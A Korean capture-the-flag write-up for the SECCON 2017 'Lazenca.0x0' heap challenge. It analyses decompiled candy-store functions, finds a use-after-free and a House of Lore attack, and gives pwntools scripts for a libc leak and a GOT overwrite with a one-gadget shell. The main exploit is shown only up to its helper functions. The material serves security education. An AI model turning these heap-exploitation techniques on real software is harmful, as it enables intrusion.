Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
outlinetrue

Infomation

Description

Panel

I have opened an online candy store.


Host : lazenca0x0.pwn.seccon.jp
Port : 9999
Lazenca.0x0-9374845c01384f5fc9efdce81437697499640db78523509906f315a1bed5cb3d.zip (pass:seccon2017)

File

Panel

Source Code

Panel


Writeup

File information

Code Block
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ file ./Lazenca.0x0 
./Lazenca.0x0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bfd795acede916210985e5865d2de9697e7505a, stripped
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ checksec.sh --file ./Lazenca.0x0 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./Lazenca.0x0
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ 

Binary analysis (Finding vulnerabilities)

Main

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당는 함수는 setCandy() 함수를 호출하여 Candy 정보를 설정합니다.
    • 해당는 함수는 login() 함수를 호출하여 사용하여 계정정보를 확인합니다.
    • 해당는 함수는 사용자가 login에 실패 할 경우 다음과 같이 동작합니다.
      • 해당 함수는 login이 실패시 사용자에게 계정을 생성 할 것인지 묻습니다.
        • 해당 함수는 addAccount() 함수를 이용해 새로운 계정을 생성합니다.

      • 그리고 해당 함수는 login을 3번 실패하면 프로그램은 종료됩니다.
    • 해당는 함수는 사용자가 login에 성공하면 아래 기능들을 이용할 수 있습니다.
      • 제고 출력, 주문, 충전, 로그아웃
      • gLoginAccount→state 의 값이 1인 경우 "orderMenu", "Account" 기능을 이용 할 수 있습니다.
Code Block
languagecpp
titlemain
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int state; // [rsp+4h] [rbp-Ch]

  state = 1;
  signal(14, handler);
  alarm(0x1Eu);
  title();
  setCandy();
  gOrderCnt = 0;
  gLoginFailCnt = 0;
  while ( !gLoginAccount )
  {
    if ( (unsigned int)login() )
    {
      gLoginFailCnt = 0;
LABEL_14:
      while ( state && gLoginAccount )
      {
        Menu();
        printf("Command : ");
        switch ( (unsigned int)retNumber(2LL) )
        {
          case 0u:
            state = 0;
            break;
          case 1u:
            printStock();
            break;
          case 2u:
            purchase();
            break;
          case 3u:
            charge();
            break;
          case 4u:
            if ( gLoginAccount->state == 1 )
              orderMenu();
            break;
          case 5u:
            if ( gLoginAccount->state == 1 )
              Account();
            break;
          case 9u:
            logout(2LL);
            break;
          default:
            goto LABEL_14;
        }
      }
    }
    else
    {
      if ( gLoginFailCnt == 2 )
        exit(1);
      ++gLoginFailCnt;
      puts("\nCreate an account?");
      puts("0) Yes\n1) No");
      if ( !(unsigned int)retNumber(2LL) )
        addAccount(3LL);
    }
  }
  return 0LL;
}

login()

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 사용자로 부터 ID,Password를 입력 받습니다.
    • 해당 함수는 입력 받은 값을 전역 변수 gAccount[]에 존재하는지 확인합니다.
    • 해당 함수는 인증에 성공하면, 해당 계정 정보가 저장된 gAccount[]의 주소를 전역변수 "gLoginAccount" 에 저장합니다.

...

Code Block
languagecpp
titleStruct IDPW, ACCOUNT
struct IDPW{
    long empty[2];
    char id[8];
    char pw[8];
    long state;
    char description[88];
};

struct ACCOUNT{
    long state;
    long number;
    struct IDPW *fd;
    long bk;
};

addAccount()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 전역 변수 gAccount[].state 의 값이 '0' 인 경우 다음과 같이 동작합니다.

      • 해당 함수는 malloc()을 사용하여 128 byte의 heap 영역을 할당받습니다.

        • 해당 함수는 해당 영역의 주소를 gAccount[i].fd에 저장합니다.

        • 해당 함수는 해당 영역에 ID, Password, profile 정보를 저장합니다.
Code Block
languagecpp
titleaddAccount(unsigned int a1)
unsigned __int64 __fastcall addAccount(unsigned int a1)
{
  unsigned int i; // [rsp+10h] [rbp-10h]
  signed int empty; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  empty = 1;
  for ( i = 0; i <= 2 && empty; ++i )
  {
    if ( !gAccount[i].state )
    {
      empty = 0;
      gAccount[i].state = a1;
      gAccount[i].number = i + 1;
      gAccount[i].fd = (struct IDPW *)malloc(128uLL);
      gAccount[i].fd->state = 1LL;
      puts("\nEnter your New ID.");
      UserInput(gAccount[i].fd->id, 8LL);
      puts("Enter your New Password.");
      UserInput(gAccount[i].fd->pw, 8LL);
      puts("Enter your profile.");
      UserInput(gAccount[i].fd->description, 88LL);
      gAccount[i].bk = 10000LL;
    }
  }
  if ( empty )
    puts("Could not add user.");
  return __readfsqword(0x28u) ^ v4;
}

purchase

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 전역 변수 gStockCnt의 값이 0일 경우 메시지 출력 해당 기능을 종료합니다.

    • 해당 함수는 전역 변수 gStockCnt의 값이 0이 아닐 경우 다음과 같은 기능을 합니다.

      • 해당 함수는 사용자로 부터 구매 할 캔디의 코드 번호(candyInfo[0]), 캔디의 수(candyInfo[1])를 입력받습니다.

        • 해당 함수는 구매 가능한 캔디 코드 번호, 캔디의 개수인지 확인합니다.

      • 해당 함수는 정상적인 구매가 진행 되며, 캔디의 재고가 없을 경우 아래 함수가 호출됩니다.

        • reSortStock()

        • setBoard()

...

Code Block
languagecpp
titlestruct STOCK
struct STOCK{
    char candyName[8];
    unsigned int  candyNumber;
    unsigned int  candyPrice;
    char *candyDescription;
};

setBoard()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 malloc() 함수를 이용해 1200 byte의 Heap 영역을 할당 받습니다.

    • 해당 함수는 해당 영역에 사용자로 부터 값을 입력 받아 저장합니다.

Code Block
languagecpp
titlesetBoard()
unsigned __int64 setBoard()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts("Please enter a comment for candy.");
  board = (__int64)malloc(1200uLL);
  UserInput(board, 1200LL);
  return __readfsqword(0x28u) ^ v0;
}

charge

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 사용자로 부터 충전 할 금액의 번호는 입력 받습니다.
    • 해당 함수는 해당 금액을 "gLoginAccount→bk" 영역에 더합니다.
Code Block
languagecpp
titlecharge()
unsigned __int64 charge()
{
  unsigned int chargeInfo[2]; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  chargeInfo[0] = 0;
  puts("Please select the amount to charge.");
  puts("0) 1");
  puts("1) 10");
  puts("2) 100");
  puts("3) 1000");
  puts("4) 10000");
  puts("5) 100000");
  chargeInfo[1] = retNumber(2LL);
  switch ( chargeInfo[1] )
  {
    case 0u:
      chargeInfo[0] = 1;
      break;
    case 1u:
      chargeInfo[0] = 10;
      break;
    case 2u:
      chargeInfo[0] = 100;
      break;
    case 3u:
      chargeInfo[0] = 1000;
      break;
    case 4u:
      chargeInfo[0] = 10000;
      break;
    case 5u:
      chargeInfo[0] = 100000;
      break;
    default:
      break;
  }
  gLoginAccount->bk += chargeInfo[0];
  printf("%ld yen charged.\n", chargeInfo[0], *(_QWORD *)chargeInfo);
  return __readfsqword(0x28u) ^ v2;
}

Account()

  • 해당 함수는 gLoginAccount->state의 값이 1인 경우 사용가능합니다.
  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 사용 가능한 기능 목록을 출력합니다.
      • 계정 삭제, 비밀번호 변경
    • 해당 함수는 사용자로 부터 사용할 기능의 번호를 입력 받아 해당 기능을 호출합니다.
Code Block
languagecpp
titleAccount()
unsigned __int64 Account()
{
  int tmp; // eax
  signed int i; // [rsp+8h] [rbp-58h]
  signed int control; // [rsp+Ch] [rbp-54h]
  char funcList[3][22]; // [rsp+10h] [rbp-50h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  control = 1;
  strcpy((char *)funcList, "Delete account");
  *(_DWORD *)&funcList[0][16] = 0;
  *(_WORD *)&funcList[0][20] = 0;
  strcpy(funcList[1], "Change password");
  *(_DWORD *)&funcList[1][16] = 0;
  *(_WORD *)&funcList[1][20] = 0;
  *(_OWORD *)&funcList[2][0] = (unsigned __int64)'tixE';
  *(_DWORD *)&funcList[2][16] = 0;
  *(_WORD *)&funcList[2][20] = 0;
  while ( control )
  {
    puts("\nAccount.");
    for ( i = 0; i <= 2; ++i )
      printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]);
    printf("Command : ");
    tmp = retNumber(2LL);
    switch ( tmp )
    {
      case 2:
        changePW();
        break;
      case 3:
        control = 0;
        break;
      case 1:
        delAccount();
        break;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

delAccount()

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 전역 변수 gAccount[]를 이용해 삭제 가능한 계정들을 출력합니다.
    • 해당 함수는 사용자로 부터 삭제 할 계정의 번호를 입력 받습니다.
    • 해당 함수는 사용자가 선택한 계정의 state 정보가 '3' 일 경우 삭제를 진행합니다.

      • 해당 함수는 해당 계정(gAccount[num])의 정보를 초기화 합니다.

        • state = 0

        • fd→state = 0

        • memset(gAccount[num].fd, 0, 0x80uLL);

      • 해당 함수는 해당 계정(gAccount[num])의 fd 영역(heap)을 해제 합니다.

    •  해당 함수는 gAccount[num].fd 영역에 "gAccount[num].fd - 16" 연산 한 값을 저장합니다.

      • 저장되는 값은 Free chunk의 Head 주소입니다.
      • 이것으로 인해 The House of Lore, UAF 취약성이 발생하게 됩니다.
Code Block
languagecpp
titledelAccount()
unsigned __int64 delAccount()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("\nAccount list");
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
      printf("%d) %s\n", gAccount[i].number, gAccount[i].fd->id);
  }
  puts("\nPlease enter the number of the account you want to delete");
  num = retNumber(2LL);
  if ( num && num <= 3 )
  {
    if ( gAccount[--num].state == 3 )
    {
      gAccount[num].state = 0LL;
      gAccount[num].fd->state = 0LL;
      printf("The account(%s) has been deleted.\n", gAccount[num].fd->id);
      memset(gAccount[num].fd, 0, 0x80uLL);
      free(gAccount[num].fd);
      gAccount[num].fd = (struct IDPW *)((char *)gAccount[num].fd - 16);
    }
    else
    {
      puts("You can not delete the account.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

changePW

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 전역 변수 "gAccount[i].state"를 이용해 비밀번호 변경이 가능한 계정을 출력합니다.

    • 해당 함수는 사용자로 부터 비밀번호를 변경할 계정의 번호를 입력 받습니다.

    • 해당 함수는 해당 계정의 'gAccount[].fd.state' 영역에 저장된 값이 '0'이 아닐 경우 비밀번호를 변경할 수 있습니다.

Code Block
languagecpp
titlechangePW()
unsigned __int64 changePW()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("\nAccount list");
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
      printf("%ld) %s\n", gAccount[i].number, gAccount[i].fd->id);
  }
  puts("\nPlease enter the number of the account you want to change PW");
  num = retNumber(2LL);
  if ( num )
  {
    if ( num <= 3 )
    {
      if ( gAccount[--num].fd )
      {
        if ( gAccount[num].fd->state )
        {
          puts("Enter your New Password.");
          UserInput(gAccount[num].fd->pw, 8LL);
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

orderMenu()

  • 해당 함수는 gLoginAccount->state의 값이 1인 경우 사용가능합니다.
  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 사용 가능한 기능 목록을 출력합니다.
      • 주문 목록, 주문 목록 추가, 주문 목록 취소, 캔디 주문
    • 해당 함수는 사용자로 부터 사용할 기능의 번호를 입력 받아 해당 기능을 호출합니다.
Code Block
languagecpp
titleorderMenu()
unsigned __int64 orderMenu()
{
  signed int i; // [rsp+8h] [rbp-88h]
  unsigned int control; // [rsp+Ch] [rbp-84h]
  char funcList[5][22]; // [rsp+10h] [rbp-80h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  control = 1;
  strcpy((char *)funcList, "Order List");
  *(_DWORD *)&funcList[0][16] = 0;
  *(_WORD *)&funcList[0][20] = 0;
  strcpy(funcList[1], "Add to Order List");
  *(_WORD *)&funcList[1][20] = 0;
  *(_QWORD *)&funcList[2][0] = 'o lecnaC';
  *(_QWORD *)&funcList[2][8] = 'o s���en';
  *(_DWORD *)&funcList[2][16] = 'redr';
  *(_WORD *)&funcList[2][20] = '.';
  strcpy(funcList[3], "Order candy");
  *(_DWORD *)&funcList[3][16] = 0;
  *(_WORD *)&funcList[3][20] = 0;
  *(_OWORD *)&funcList[4][0] = (unsigned __int64)'tixE';
  *(_DWORD *)&funcList[4][16] = 0;
  *(_WORD *)&funcList[4][20] = 0;
LABEL_11:
  while ( control )
  {
    puts("\nOrder candy.");
    for ( i = 0; i <= 4; ++i )
      printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]);
    printf("Command : ");
    switch ( (unsigned int)retNumber(2LL) )
    {
      case 1u:
        orderList();
        break;
      case 2u:
        addToOrderList();
        break;
      case 3u:
        orderCancel();
        break;
      case 4u:
        orderCandy();
        break;
      case 5u:
        control = 0;
        break;
      default:
        goto LABEL_11;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

addToOrderList

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 choiceCandy() 함수를 사용해 주문할 사탕의 번호를 입력받습니다.

    • 해당 함수는 malloc() 함수를 사용해 24 byte의 heap 영역을 할당받습니다.

      • 해당 함수는 해당 영역에 주문할 사탕의 정보를 저장합니다.

...

Code Block
languagecpp
titlestruct ORDER, CANDIES
typedef struct ORDER{
    char orderCode[8];
    unsigned int  orderNumber;
    char orderCandyName[8];
    int  candyCode;
};

typedef struct CANDIES {
    char candyName[8];
    unsigned int  orderNumber;
    int candyCode;
};

orderCancel

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 checkCancel(i) 함수를 취소 가능한 주문을 확인하고, 주문 취소 가능한 목록을 출력합니다.

    • 해당 함수는 취소 가능한 주문이 있으며, 사용자로 부터 주문 번호을 입력받습니다.

    • 해당 함수는 입력 값을 검증한 후 reSort() 함수를 호출 해 주문을 취소합니다.
Code Block
languagecpp
titleorderCancel()
unsigned __int64 orderCancel()
{
  unsigned int i; // [rsp+Ch] [rbp-44h]
  int j; // [rsp+Ch] [rbp-44h]
  int orderCnt; // [rsp+10h] [rbp-40h]
  unsigned int canNum; // [rsp+1Ch] [rbp-34h]
  int cancelableList[10]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  orderCnt = 0;
  if ( gOrderCnt )
  {
    for ( i = 0; i < gOrderCnt; ++i )
    {
      if ( (unsigned int)checkCancel(i) )
      {
        cancelableList[orderCnt++] = i;
        printf("\n=*= Cancelable order (Order number : %d) =*=\n", i);
        printf("Order code: %s\n", gOrderList[i]);
        printf("Order count : %d\n", gOrderList[i]->orderNumber);
        printf("Order candy : %s\n", gOrderList[i]->orderCandyName);
        printf("Candy code: %d\n", (unsigned int)gOrderList[i]->candyCode);
      }
    }
    if ( orderCnt )
    {
      canNum = retNumber(2LL);
      for ( j = 0; j < orderCnt; ++j )
      {
        if ( cancelableList[j] == canNum )
          reSort(canNum);
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v6;
}

reSort

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 해당 함수는 free() 함수를 이용해 gOrderList[a1] 영역을 해제합니다.

Code Block
languagecpp
titlereSort(unsigned int a1)
unsigned __int64 __fastcall reSort(unsigned int a1)
{
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  free(gOrderList[a1]);
  if ( a1 < gOrderCnt )
  {
    for ( i = 0; a1 + i < gOrderCnt; ++i )
      gOrderList[a1 + i] = gOrderList[a1 + i + 1];
  }
  gOrderList[gOrderCnt--] = 0LL;
  return __readfsqword(0x28u) ^ v3;
}

orderCandy()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 사용자로 부터 캔디 주문의 진행 여부를 확인합니다.

    • 해당 함수는 getStockNum() 함수를 사용해 gOrderList[]에 저장된 값이 gStock[]에 존재하는지 확인합니다.

      • 해당 함수는 gOrderList[]에 저장된 값 gStock[]에 존재 할 경우 다음과 같이 처리됩니다.

        • "gStock[]->candyNumber" 에 "gOrderList[]->orderNumber"의 값을 더하게 됩니다.

      • 해당 함수는 gOrderList[]에 저장된 값 gStock[]에 존재하지 않을 경우 다음과 같이 처리됩니다.

        • 해당 함수는 malloc() 함수를 사용하여 24 byte의 heap 영역을 할당합니다.

        • 해당 함수는 해당 영역에 캔디에 대한 정보를 저장합니다.

          • 사탕 이름, 가격, 캔디 정보가 저장되어 있는 주소 값

        • 그리고 해당 함수는 124 byte의 heap 영역을 할당해서, 해당 영역에 사용자로 부터 입력받은 캔디 정보를 저장합니다.

    • 해당 함수는 gOrderList[]에 저장된 값 gStock[]에 모두 저장한 후, gOrderList[] 영역을 모두 해제 합니다.

Code Block
languagecpp
titleorderCandy()
unsigned __int64 orderCandy()
{
  struct STOCK *dest; // ST10_8
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int num; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( gOrderCnt )
  {
    orderList();
    puts("\nWould you like to order these candies?");
    puts("0) Yes, 1) No");
    if ( !(unsigned int)retNumber(2LL) )
    {
      for ( i = 0; i < gOrderCnt; ++i )
      {
        num = getStockNum(i);
        if ( num )
        {
          gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber;
        }
        else if ( (unsigned int)gStockCnt > 4 )
        {
          puts("The warehouse is full. Your new order can not be completed.");
        }
        else
        {
          puts("\nEnter information about newly added candy.");
          dest = (struct STOCK *)malloc(24uLL);
          strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL);
          dest->candyNumber = gOrderList[i]->orderNumber;
          printf("Enter the price of %s candy.\n", dest);
          dest->candyPrice = retNumber(5LL);
          printf("Enter a description of the %s candy.\n", dest);
          dest->candyDescription = (char *)malloc(124uLL);
          UserInput(dest->candyDescription, 124LL);
          gStock[gStockCnt++] = dest;
        }
      }
      while ( gOrderCnt )
      {
        free(gOrderList[gOrderCnt - 1]);
        gOrderList[gOrderCnt-- - 1] = 0LL;
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v4;
}

Proof of concept

  • 설명은 진행하기 전에 출제자는 플레이어들이 "House of lore" 취약성을 이용해서 풀기를 원했습니다.
    • 하지만 해당 취약성들 외에도 여러 형태로 공격이 가능합니다.

Fake chunk

  • 해당 프로그램에서 취약성을 이해하기 위해 ACCOUNT 구조체에 대한 이해가 필요합니다.
    • 해당 구조체는 전역 변수로 선언되어 있습니다.
    • 해당 프로그램은 3개의 ACCOUNT 구조체를 사용합니다.
      • 첫번째 구조체에는 'Admin' 계정 정보가 저장되어 있습니다.
      • 2,3번째 구조체는 사용자가 생성한 계정의 정보가 저장됩니다.

...

Panel
titleFake chunk
0x604220Admin.stateAdmin.number
0x604230Admin.fdAdmin.bk
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fd = Free chunk headgAccount[1].bk = 0x604268
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk = 0x604240

Overwrite Fd of Fack chunk

  • House of lore 취약성은 다음과 같은 Free chunk의 fd영역을 변경할 수 있어야 합니다.
    • delAccount() 함수에 의해 gAccount[1].fd 영역의 값이 변경됩니다.
      • gAccount[1].fd→id : fd 영역
      • gAccount[1].fd→pw : bk 영역
    • 해당 계정의 비밀번호 변경을 할 수 있으면 Free chunk의 bk영역에 값을 덮어 쓸수 있습니다.

  • 하지만 패스워드를 변경하기 위해서는 "gAccount[1].fd→state"의 값이 '0'이 아니어야 합니다.

Panel
titlegAccount[1].fd

Create an account

Delete account

gAccount[1].fd

0x8

0x0

0x0

prev_size

Size of chunk

Chunk (long empty[0])

Chunk size (long empty[0])

0x10

long empty[0]

long empty[1]

fd (char id[8])

bk (char pw[8])

0x20

char id[8]

char pw[8]

long state

char description[88]

0x30

long state

char description[88]



UAF

  • 다음과 같이 UAF 취약성을 사용해 "gAccount[1].fd→state" 값을 변경할 수 있습니다.

    • ACCOUNT 구조체의 크기는 128 byte 입니다.

    • orderCandy() 함수에 dest->candyDescription(사탕의 정보를 입력하는 영역)에 할당되는 크기는 124 byte입니다.

    • 해제된 "gAccount[1].fd"영역을 "dest→candyDescription" 에 할당받아야 합니다.
      • 해당 영역("dest→candyDescription")에  문자 16개 이상을 저장하면 "gAccount[1].fd→state" 영역을 덮어 쓸 수 있습니다.
  • 주의 할 내용은 다음과 같습니다.
    • UAF 공격시 제일 중요한 부분은 House of lore 공격을 위해 ACCOUNT 구조체와 같은 크기의 공간을 할당받고 해제 할 수 있어야 합니다.
      • 즉, 해제된 "gAccount[1].fd" 영역에 반드시 "dest->candyDescription"에 할당되는 영역이 할당되어야 합니다.
    • 그리고 아래와 같은 영역이 "gAccount[1].fd" 영역에 할당되지 않도록 주의 해야 합니다.
      • 해당 프로그램은 사탕을 주문하기 위해서는 Order list에 구매할 사탕을 추가해야 합니다.
        • Order list에 구매할 사탕을 추가 때 마다 Heap 영역(24 byte)을 할당 받습니다.
      • 해당 프로그램은 주문한 사탕이 가게에 없는 제품이면 Heap 영역(24 byte)을 할당 받습니다.

Structure of Exploit code 

Panel
  1. Leak Libc Address
  2. Design the heap.
    1. Create account 1
    2. Create account 2
  3. UAF
    1. Set gAccount[1].fd→state
  4. House of lore
    1. register bins[16,17]
    2. Overwrite Smallbin bk
  5. Overwrite gAccount[1].fd
    1. signal GOT
  6. Overwrite fflush.got
    1. One Gadget

...

Panel
  • Leak Libc Address
  • House of lore
  • One Gadget

Information for attack

Leak Libc Address

  • 다음과 같은 Heap 구조 설계가 필요합니다.
    • 유저는 1개의 사탕을 Order list에 추가 하고, 주문을 완료 합니다.
    • 유저는 2개의 사탕을 Order list에 추가 합니다.

...

Code Block
languagepy
titleLeakLibcAddress.py
from pwn import *
#context.log_level = 'debug'

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

House of lore(Fake chunk)

  • 다음과 같이 "gAccount[1].fd" 영역에 할당되었던 공간을 "dest->candyDescription"영역에 재할당 받아야 합니다.
    • 동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.

      • Order list의 0번째 사탕 취소

      • 사탕 주문 완료
    • 2개의 새로운 계정을 생성합니다.

...

Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[2]0xa17600

F

0x200x0None
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

Order list[1]

0xa176b0

F0x200xa17600None
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd(Unsortbin)0xA17B90F0x90

0x7ff5052a2b78

0x7ff5052a2b78
gAccount[2].fd0xA17c20A0x90NoneNone

House of lore(Overwrite Smallbin bk)

  • 우선 공격자는 bk 영역을 덮어 쓰기 위해서 다음과 같이 "gAccount[1].fd→state"의 값을 조작해야 합니다.
  • 공격자는 다음과 같이 UAF 취약성을 사용할 수 있습니다.
    • Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
      • 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
        • 해당 영역에 16이상의 문자를 저장합니다.
    • 다음과 같이 "gAccount[1].fd→state" 값을 변경됩니다.

...

Code Block
titleOverwrite gAccount[1].fd
Breakpoint 1, 0x000000000040123a in ?? ()
gdb-peda$ ni
0x000000000040123f in ?? ()
gdb-peda$ i r rax
rax            0x604250	0x604250
gdb-peda$ x/4gx 0x604250
0x604250:	0x00007f070160bbf8	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
Breakpoint 2, 0x000000000040125f in ?? ()
gdb-peda$ x/4gx 0x604250
0x604250:	0x0a41414141414141	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
gdb-peda$ 

One Gadget

  • 다음과 같은 One Gadget을 사용할 수 있습니다.
    • 해당 Gadget을 fflush.got영역에 덮어쓰면 Shell을 획득 할 수 있습니다.

Code Block
titleOne Gadget
.text:00000000000F0274                 mov     rax, cs:environ_ptr_0
.text:00000000000F027B                 lea     rsi, [rsp+1B8h+var_168]
.text:00000000000F0280                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F0287                 mov     rdx, [rax]
.text:00000000000F028A                 call    execve
Panel

Exploit Code

Code Block
languagepy
titleExploit code
from pwn import *
#context.log_level = 'debug'

gAccount1bk = 0x604240
gAccount2fd = 0x604268

def fill(addr):
    tmp = int(addr)

    log.info('Original address(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))

    tmp -= 10000

    log.info('Address - 10000(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))

    tmp = str(tmp)
    for i in range(5):
        for j in range(int(tmp[6-i])):
            charge(str(i)) 

    for i in range(int(tmp[0:2])):
        charge('5')

def setAccount(id):
    p.recvuntil('Enter your ID.')
    p.send('a')
    p.recvuntil('Enter your Password.')
    p.send('a')
    p.recvuntil('Create an account?')
    p.send('0')
    p.recvuntil('Enter your New ID.')
    p.send(id)
    p.recvuntil('Enter your New Password.')
    p.send(id)
    p.recvuntil('Enter your profile.')
    p.send('TEST')

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def logout():
    p.recvuntil('Command : ')
    p.send('9')
    p.recvuntil('1) No')
    p.send('0')

def delAccount(num):
    p.recvuntil('Command : ')
    p.send('5')
    p.recvuntil('Command : ')
    p.send('1')
    p.recvuntil('Please enter the number of the account you want to delete')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('3')

def pwChange(num,pw):
    p.recvuntil('Command : ')
    p.send('5')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the number of the account you want to change PW')
    p.send(num)
    p.recvuntil('Enter your New Password.')
    p.send(pw)
    p.recvuntil('Command : ')
    p.send('3')

def charge(num):
    p.recvuntil('Command : ')
    p.send('3')
    p.recvuntil('5) 100000')
    p.send(num)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def delOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('3')
    p.recvuntil('Candy code: ')
    p.send('0')
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

